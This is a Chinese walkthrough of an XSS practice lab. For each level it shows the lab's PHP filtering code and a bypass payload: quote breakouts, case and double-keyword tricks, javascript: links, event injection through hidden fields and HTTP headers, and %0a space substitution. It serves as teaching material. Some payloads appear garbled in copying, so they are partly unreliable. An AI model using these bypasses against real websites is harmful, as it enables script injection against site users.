赞
踩
查看源代码,没有任何过滤,直接输入<script>alert(111)</script>
,弹框进入下一关
查看源代码,value在input里,需要闭合跳出input
payload如下:
"><script>alert(11)</script>
输入上关的payload,发现双引号被编码了,查看源代码value有个htmlspecialchars()函数对value进行编码,不过input
标签没有任何过滤,所以尝试在input
标签中闭合单引号'
,来触发事件。
htmlspecialchars()
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
预定义的字符是:
&(和号) 成为&
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
payload如下:
' οnclick=alert('11')//
查看源代码,value被闭合
输入正常语句,查看元素发现<>被删除了,直接看看源代码
发现<>被替换删除了,那么可以用level3的语句,因为那个并没有用到<符号,但是有一点微小的变动,那就是这里是双引号,而上一个是单引号
payload如下:
" onclick=alert('11')//
输入测试语句,发现<script>
变成了</scr_ipt>
,查看源代码
查看源代码发现<script
被替换成<scr_ipt
,on
替换成o_n
,那就直接换个标签语句,payload如下:
"><a href=javascript:alert('hack') >
输入测试语句,如第五关一样,关键字被替换
查看源代码
<h1 align=center>第6关 嗯 还是搜索</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
发现只有关键字被替换了,但没有对大小写以及双写进行转换或替换,直接大小写绕过,payload如下:
"><scRIpt>alert(1)</scRIpt>
script被删除,查看源代码
<h1 align=center>第7关 猜一猜下面题目还有搜索嘛</h1> <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
分析源代码发现,大写被strtolower()函数转换,各类关键字被过滤,试试双写,payload如下:
"><scscriptript>alert(1)</scscriptript>
发现页面有个友情链接,猜测这个链接是利用点,输入<a href="javascript:alert(1)">友情链接</a>
,发现javascript变成了javascr_ipt,查看源代码
<title>第8关</title> </head> <body> <h1 align=center>第8关 老铁要和我换友链嘛?</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?>
分析源代码发现,各类关键字被替换,双引号被编码,大写被转换,测试将script中的某个字母html编码,payload如下:
javascript:alert(1)
和上一关差不多,一样是利用“友情链接”,不过此处有些不同,查看源代码
<title>第9关</title> </head> <body> <h1 align=center>第9关 添加友连again</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?>
分析源代码发现“友情链接”处有一个判断语句,用strpos()函数对输入语句进行判断。
strpos()用于查找指定字符串第一次出现的位置,返回整数型。也就是本题判断字符"http://"是否在字符串中出现,如果出现返回友情链接,反之返回链接不合法。测试在keyword变量的最后加上“http://”并将其注释掉,payload如下:
javascript:alert(1)//http://
达到第10关,发现没有输入框,但url上有一个参数,查看源代码
F12查看前端代码,发现有三个input标签,但输入框都被隐藏掉了,在URL处试试value值是否可变,
keyword=0&t_link=1&t_history=2&t_sort=3
输入上述参数,F12发现t_sort参数可变,查看源代码
<title>第10关</title> </head> <body> <h1 align=center>第10关 嗯 搜索又出现了</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/fed9cb1c-3111-49a8-b111-16081ac4b16c.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
根据源代码分析发现,input标签的输入框被隐藏,t_sort的值可变,<>被置空,试试闭合value,并添加一个事件,payload如下:
t_sort=" type="text" οnclick="alert(11)//第一个"是为了闭合value,第二个"是为了闭合onclick
查看源代码可知,value被闭合,新增type和onclick事件
点击text输入框,进入下一关
F12查看源代码,发现比上一关多了一个t_ref,值是上一关的链接,猜测该处可以利用referer,抓包
添加referer参数,输入和上一关一样的payload,放包点击text,顺利通关
F12查看源代码,发现有个t_ua的标签,直接和上一关一样抓包修改UA就成,payload一样
F12查看源代码,发现有个t_cook,和11关一样,直接抓包修改cookie的值,payload和第11关一样
输入keyword=2,页面返回一个2,输入<script>alert(1)</script>
,发现script被删除了,查看源代码
<title>第15关</title> </head> <body> <h1 align=center>第15关 厉害了 Word哥</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?> <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/9ec67d16-a8b9-41cd-82fa-14b0c0f96e72.gif"</center> <?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>"; ?> </body> </html>
分析源代码,script、/以及空格都被替换成了 ,直接输出字符串,所以此处使用事件或图片语句,又因为过滤了空格,空格可以用%0a换行符进行绕过,payload如下:
<img%0asrc=1%0aonerror=alert(111)>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。